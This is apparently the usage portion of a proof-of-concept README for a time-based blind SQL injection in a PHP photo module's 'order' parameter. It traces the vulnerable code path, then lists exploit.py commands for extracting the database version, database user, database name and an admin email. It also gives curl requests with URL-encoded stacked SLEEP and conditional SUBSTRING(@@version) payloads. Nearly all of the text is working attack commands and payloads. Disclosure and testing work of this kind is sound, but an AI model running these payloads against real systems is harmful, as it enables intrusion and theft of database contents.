mod/photos.php:673              — reads raw $_GET['order']
DBStructure::existsColumn()     — concatenates into: SHOW COLUMNS FROM `photo` LIKE '$column'
  src/Database/DBStructure.php:714
DBA::p() → PDO::query()         — executes with stacked statements enabled

# Install dependency
pip install requests

# Check if target is vulnerable (time-based detection)
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --check-only

# Extract database version via blind SQLi
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --extract version

# Extract current database user
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --extract db_user

# Extract current database name
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --extract db_name

# Extract first admin email
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --extract admin_email

# Control — valid order, returns fast (~0.05s)
curl -s -o /dev/null -w "%{time_total}\n" \
  "http://TARGET/photos/alice/image/RESOURCE_ID?order=created"

# Injection — stacked SLEEP(5) executes, response held ~5s
curl -s -o /dev/null -w "%{time_total}\n" \
  "http://TARGET/photos/alice/image/RESOURCE_ID?order=x%27%3BSELECT%20SLEEP(5)--%20-"

SHOW COLUMNS FROM `photo` LIKE 'x';SELECT SLEEP(5)-- -'

# TRUE condition (@@version starts with '1') → delays ~5s
curl -s -o /dev/null -w "%{time_total}\n" \
  "http://TARGET/photos/alice/image/RESOURCE_ID?order=x%27%3BSELECT%20IF(SUBSTRING(@@version,1,1)=%271%27,SLEEP(5),0)--%20-"

# FALSE condition (@@version starts with '9') → returns fast
curl -s -o /dev/null -w "%{time_total}\n" \
  "http://TARGET/photos/alice/image/RESOURCE_ID?order=x%27%3BSELECT%20IF(SUBSTRING(@@version,1,1)=%279%27,SLEEP(5),0)--%20-"